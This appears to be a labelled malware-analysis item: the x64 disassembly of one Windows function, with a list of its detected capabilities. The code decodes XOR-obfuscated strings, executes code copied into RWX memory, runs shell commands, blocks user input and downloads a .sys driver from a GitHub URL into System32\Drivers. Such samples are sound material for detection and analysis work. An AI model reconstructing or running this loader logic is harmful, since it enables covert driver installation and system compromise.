Function at 0x140025390
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Delete file
Download and write a file
Download url
Encode data using xor
Execute command
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Receive and write data from server to client
Receive data
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5600]
mov eax, 0x5700
call fcn.14008b160
sub rsp, rax
movaps xmmword [rsp + 0x56f0], xmm6
xor esi, esi
mov dword [rsp + 0x58], esi
call fcn.140028d78
call fcn.140028d20
call fcn.140028d8e
call fcn.140028d20
call fcn.140028d4c
call fcn.140028d36
call fcn.140028d4c
call fcn.140028d36
call fcn.140028d62
mov dword [rbp - 0x72], 0x27212f0e
mov dword [rbp - 0x6e], 0x1734233f
mov dword [rbp - 0x6a], 0x243c243e
mov word [rbp - 0x66], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp - 0x64], 1
mov ecx, esi
nop dword [rax]
lea eax, [rcx + 0x4b]
xor byte [rbp + rcx - 0x72], al
inc rcx
cmp rcx, 0xd
jb 0x140025420
mov byte [rbp - 0x64], sil
lea rax, [rbp - 0x72]
mov qword [rbp + 0x298], rax
lea r14, [rbp + 0x5628]
movabs r12, 0xff00ff00ff00ff00
mov qword [rbp + 0x450], r12
mov qword [rbp + 0x458], r14
mov rbx, qword [r14]
xor rbx, r12
mov qword [rbp + 0x448], rbx
mov qword [r14], rsi
mov ecx, esi
mov r13d, 3
lea rdi, [0x14000ca80]
lea r15, [0x140000000]
mov rax, qword [0x1400f0940]
test rax, rax
je 0x1400254bc
mov rdx, rsi
cmp rax, rdi
je 0x1400254ab
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0xf0940]
test rax, rax
jne 0x140025493
jmp 0x1400254bc
mov r8, qword [r15 + rdx*8 + 0xf0c60]
test r8, r8
jne 0x14002559f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400254e3
mov r8, rsi
jmp 0x14002557e
mov rax, rdi
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400254f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400f0938]
mov qword [r15 + rax*8 + 0xf0940], rdi
mov qword [r15 + rax*8 + 0xf0c60], r8
inc rax
mov qword [0x1400f0938], rax
lea rdx, [rbp + 0x298]
mov rcx, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call r8
nop
xor rbx, r12
mov qword [rbp + 0x448], rbx
mov qword [r14], rbx
movsd xmm0, qword [str._PP]
movsd qword [rbp + 0x28], xmm0
movzx eax, word [0x140093530]
mov word [rbp + 0x30], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x32], al
lea rdi, [rbp + 0x5628]
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], rdi
mov rbx, qword [rdi]
xor rbx, r12
mov qword [rbp], rbx
mov qword [rdi], rsi
mov ecx, esi
lea r14, [0x14000cab0]
mov rax, qword [0x1400f0f90]
test rax, rax
je 0x14002563d
mov rdx, rsi
cmp rax, r14
je 0x14002562c
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0xf0f90]
test rax, rax
jne 0x140025614
jmp 0x14002563d
mov r8, qword [r15 + rdx*8 + 0xf12b0]
test r8, r8
jne 0x14002571f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140025664
mov r8, rsi
jmp 0x1400256fe
mov rax, r14
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140025670
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400f0f80]
mov qword [r15 + rax*8 + 0xf0f90], r14
mov qword [r15 + rax*8 + 0xf12b0], r8
inc rax
mov qword [0x1400f0f80], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call r8
nop
xor rbx, r12
mov qword [rbp], rbx
mov qword [rdi], rbx
call fcn.14001acd0
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp + 0x2c8]
mov qword [rbp + 0x5648], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c8], xmm0
mov edi, 1
mov qword [rbp + 0x2d8], rdi
mov qword [rbp + 0x2e0], reloc.WS2_32.dll_ntohs
mov word [rbp + 0x2c8], 0x79
movups xmmword [rbp + 0x2e8], xmm0
mov qword [rbp + 0x2f8], 4
mov qword [rbp + 0x300], reloc.WS2_32.dll_ntohs
mov dword [rbp + 0x2e8], 0x2820200a
mov byte [rbp + 0x2ec], 0
lea r8, [rbp + 0x2c8]
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x490]
call fcn.1400160d0
nop
lea rax, [rbp + 0x490]
mov qword [rbp + 0x3e0], rax
lea rax, [rbp + 0x4b8]
mov qword [rbp + 0x3e8], rax
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x3f0]
call fcn.140015f70
mov dword [rsp + 0x58], edi
lea r9, [fcn.140017280]
mov r8d, edi
lea edx, [rdi + 0x27]
lea rcx, [rbp + 0x490]
call fcn.14008b294
lea rdx, [rbp + 0x3f0]
mov rcx, rbx
call fcn.14000c920
mov dword [rsp + 0x58], esi
lea rcx, [rbp + 0x3f0]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp + 0x308]
mov qword [rbp + 0x5648], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x308], xmm0
mov qword [rbp + 0x318], rdi
mov qword [rbp + 0x320], reloc.WS2_32.dll_ntohs
mov word [rbp + 0x308], 0x77
movups xmmword [rbp + 0x368], xmm0
mov qword [rbp + 0x378], rdi
mov qword [rbp + 0x380], reloc.WS2_32.dll_ntohs
mov word [rbp + 0x368], 0x3e
lea r8, [rbp + 0x308]
lea rdx, [rbp + 0x368]
lea rcx, [rbp + 0x4b8]
call fcn.1400160d0
nop
lea rax, [rbp + 0x4b8]
mov qword [rbp + 0x400], rax
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0x408], rax
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x3d0]
call fcn.140015f70
mov dword [rsp + 0x58], 2
lea r9, [fcn.140017280]
mov r8d, edi
lea edx, [rdi + 0x27]
lea rcx, [rbp + 0x4b8]
call fcn.14008b294
lea rdx, [rbp + 0x3d0]
mov rcx, rbx
call fcn.14000c920
mov dword [rsp + 0x58], esi
lea rcx, [rbp + 0x3d0]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp + 0x328]
mov qword [rbp + 0x5648], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x328], xmm0
mov qword [rbp + 0x338], rdi
mov qword [rbp + 0x340], reloc.WS2_32.dll_ntohs
mov word [rbp + 0x328], 0x79
movups xmmword [rbp + 0x348], xmm0
mov qword [rbp + 0x358], 2
mov qword [rbp + 0x360], reloc.WS2_32.dll_ntohs
mov eax, 0x2029
mov word [rbp + 0x348], ax
mov byte [rbp + 0x34a], 0
lea r8, [rbp + 0x328]
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0x4e0]
call fcn.1400160d0
nop
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0x1c0], rax
lea rax, [rbp + 0x508]
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x1e0]
call fcn.140015f70
mov dword [rsp + 0x58], 4
lea r9, [fcn.140017280]
mov r8d, edi
lea edx, [rdi + 0x27]
lea rcx, [rbp + 0x4e0]
call fcn.14008b294
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call fcn.14000c920
mov dword [rsp + 0x58], esi
lea rcx, [rbp + 0x1e0]
call fcn.140017650
movups xmm0, xmmword [str.aGUGBV]
movups xmmword [rbp + 0x1a0], xmm0
mov eax, dword [0x140093548]
mov dword [rbp + 0x1b0], eax
movzx eax, byte [0x14009354c]
mov byte [rbp + 0x1b4], al
mov r8d, esi
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp r12d, 2
jl 0x140025b8d
movdqa xmm5, xmmword [0x140094cf0]
movdqa xmm4, xmmword [0x140094e10]
movdqa xmm6, xmmword [0x140094d10]
movdqa xmm0, xmmword [0x140094dd0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x1a4]
mov edx, dword [rbp - 0x60]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140025a80
cmp r8d, 0x15
jge 0x140025bd3
movsxd rax, r8d
lea r9, [rbp + 0x1a0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140025ba0
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x198], rsi
lea rax, [rbp + 0x1a0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140025c00
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x180]
call fcn.14000cc40
nop
mov rbx, rsi
mov r14, qword [rbp + 0x198]
mov rdi, qword [rbp + 0x180]
mov r15, qword [rbp + 0x190]
test r15, r15
je 0x140025c72
nop dword [rax + rax]
lea rdx, [rbp + 0x180]
cmp r14, 0xf
cmova rdx, rdi
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000c480
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x140025c40
cmp r14, 0xf
jbe 0x140025ca9
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140025ca1
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002666a
mov rcx, rdi
call fcn.14008aef4
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x198], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x180], 0
mov rcx, qword [0x1400f0638]
call fcn.1400094b0
mov rcx, qword [0x1400f0638]
call fcn.1400094f0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x64], 0x3e2028
mov byte [rsp + 0x68], 1
mov rcx, rsi
nop word [rax + rax]
lea eax, [rcx + 0x4b]
xor byte [rsp + rcx + 0x64], al
inc rcx
cmp rcx, 3
jb 0x140025d00
mov byte [rsp + 0x68], 0
lea rcx, [rsp + 0x64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rax, [0x1400b9cb8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rax, qword [0x1400b9cb8]
mov qword [reloc.WS2_32.dll_closesocket], rsi
mov byte [rax], 0
lea rax, str.QC3i8vSLJp
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rax, qword [str.QC3i8vSLJp]
mov qword [reloc.WS2_32.dll_ioctlsocket], rsi
mov byte [rax], 0
lea rax, [0x1400b9cf8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rax, qword [0x1400b9cf8]
mov qword [0x1400b9d08], rsi
mov byte [rax], 0
lea rax, [0x1400b9d18]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rax, qword [0x1400b9d18]
mov qword [reloc.WS2_32.dll_closesocket], rsi
mov byte [rax], 0
lea rax, [0x1400f0698]
cmp qword [0x1400f06b0], 0xf
cmova rax, qword [0x1400f0698]
mov qword [0x1400f06a8], rsi
mov byte [rax], 0
lea rcx, [0x1400f06c0]
call fcn.140034a70
call fcn.1400195a0
lea rcx, [0x1400933ec]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x28], esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov r14d, 1
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [0x1400933f0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x140025e5c
cmp rdi, 0xffffffffffffffff
je 0x140025eb8
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x28]
mov r8d, 0x6650
lea rdx, [0x1400b3600]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140025eb8
mov ecx, r14d
call qword [sym.imp.USER32.dll_BlockInput]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.C:_Windows_System32_Drivers_ntop.sys
lea rdx, str.https:__github.com_0031023012312031203102301231203_01203210301203210301203123021030_raw_main_mustermem.sys
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
xor r8d, r8d
lea rdx, str.C:WindowsSystem32Drivers_ntop.sys
lea rcx, [0x1400933f0]
call fcn.14000a420
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:WindowsSystem32Drivers_ntop.sys
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
mov dword [rsp + 0x5c], 0x3e2028
mov byte [rsp + 0x60], r14b
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 0x4b]
xor byte [rsp + rcx + 0x5c], al
inc rcx
cmp rcx, 3
jb 0x140025ed0
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x5c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp + 0x248]
mov qword [rbp + 0x5648], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x258], r14
mov qword [rbp + 0x260], reloc.WS2_32.dll_ntohs
mov word [rbp + 0x248], 0x79
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], 4
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov dword [rbp - 0x50], 0x2820200a
mov byte [rbp - 0x4c], 0
lea r8, [rbp + 0x248]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x508]
call fcn.1400160d0
nop
lea rax, [rbp + 0x508]
mov qword [rbp + 0x1f0], rax
lea rax, [rbp + 0x530]
mov qword [rbp + 0x1f8], rax
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.140015f70
mov dword [rsp + 0x58], 8
lea r9, [fcn.140017280]
mov r8, r14
mov edx, Ordinal_41
lea rcx, [rbp + 0x508]
call fcn.14008b294
lea rdx, [rbp + 0x1d0]
mov rcx, rbx
call fcn.14000c920
mov dword [rsp + 0x58], esi
lea rcx, [rbp + 0x1d0]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14009365c]
lea rcx, [rbp + 0x268]
call fcn.1400154e0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x268]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140093660]
lea rcx, [rbp + 0x278]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x278]
call fcn.140017650
movups xmm0, xmmword [str.b_QTER]
movups xmmword [rbp + 0x228], xmm0
movsd xmm0, qword [0x140093560]
movsd qword [rbp + 0x238], xmm0
mov eax, dword [0x140093568]
mov dword [rbp + 0x240], eax
movzx eax, word [0x14009356c]
mov word [rbp + 0x244], ax
movzx eax, byte [0x14009356e]
mov byte [rbp + 0x246], al
mov r8d, esi
cmp r12d, 2
jl 0x1400261cd
movdqa xmm5, xmmword [0x140094cf0]
movdqa xmm4, xmmword [0x140094e10]
movdqa xmm6, xmmword [0x140094d10]
movdqa xmm0, xmmword [0x140094dd0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0x22c]
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400260c0
cmp r8d, 0x1f
jge 0x140026213
movsxd rax, r8d
lea r9, [rbp + 0x228]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x1400261e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x178], rsi
lea rax, [rbp + 0x228]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140026240
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x160]
call fcn.14000cc40
nop
mov rbx, rsi
mov r14, qword [rbp + 0x178]
mov rdi, qword [rbp + 0x160]
mov r15, qword [rbp + 0x170]
test r15, r15
je 0x1400262b2
nop dword [rax + rax]
lea rdx, [rbp + 0x160]
cmp r14, 0xf
cmova rdx, rdi
movzx edx, byte [rdx + rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000c480
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, r15
jne 0x140026280
cmp r14, 0xf
jbe 0x1400262e9
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400262e1
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002666a
mov rcx, rdi
call fcn.14008aef4
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x178], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x160], 0
cmp qword [0x1400f0620], 0
jne 0x14002636c
nop dword [rax]
mov dword [rbp - 0x7e], 0x1010d1d
mov dword [rbp - 0x7a], 0x61f111d
mov dword [rbp - 0x76], 0x1007473
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 0x4b]
xor byte [rbp + rcx - 0x7e], al
inc rcx
cmp rcx, 0xa
jb 0x140026330
mov byte [rbp - 0x73], 0
lea rdx, [rbp - 0x7e]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x1400f0620], rax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x1400f0620], 0
je 0x140026310
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._n___
lea rcx, [rbp + 0x80]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x80]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140093664]
lea rcx, [rbp + 0x90]
call fcn.1400115d0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x90]
call fcn.140017650
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140093660]
lea rcx, [rbp + 0x38]
call fcn.1400155c0
nop
mov rdx, rax
mov rcx, rbx
call fcn.14000c920
nop
lea rcx, [rbp + 0x38]
call fcn.140017650
movups xmm0, xmmword [str.bA_VURK]
movups xmmword [rbp + 0xa0], xmm0
movsd xmm0, qword [0x140093580]
movsd qword [rbp + 0xb0], xmm0
mov eax, dword [0x140093588]
mov dword [rbp + 0xb8], eax
cmp byte [0x14009358b], 0
je 0x1400265c3
mov r8d, esi
cmp r12d, 2
jl 0x14002657f
movdqa xmm5, xmmword [0x140094cf0]
movdqa xmm4, xmmword [0x140094e10]
movdqa xmm6, xmmword [0x140094d10]
movdqa xmm0, xmmword [0x140094dd0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140094d80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140026472
cmp r8d, 0x1c
jge 0x1400265c3
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140026590
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rsi
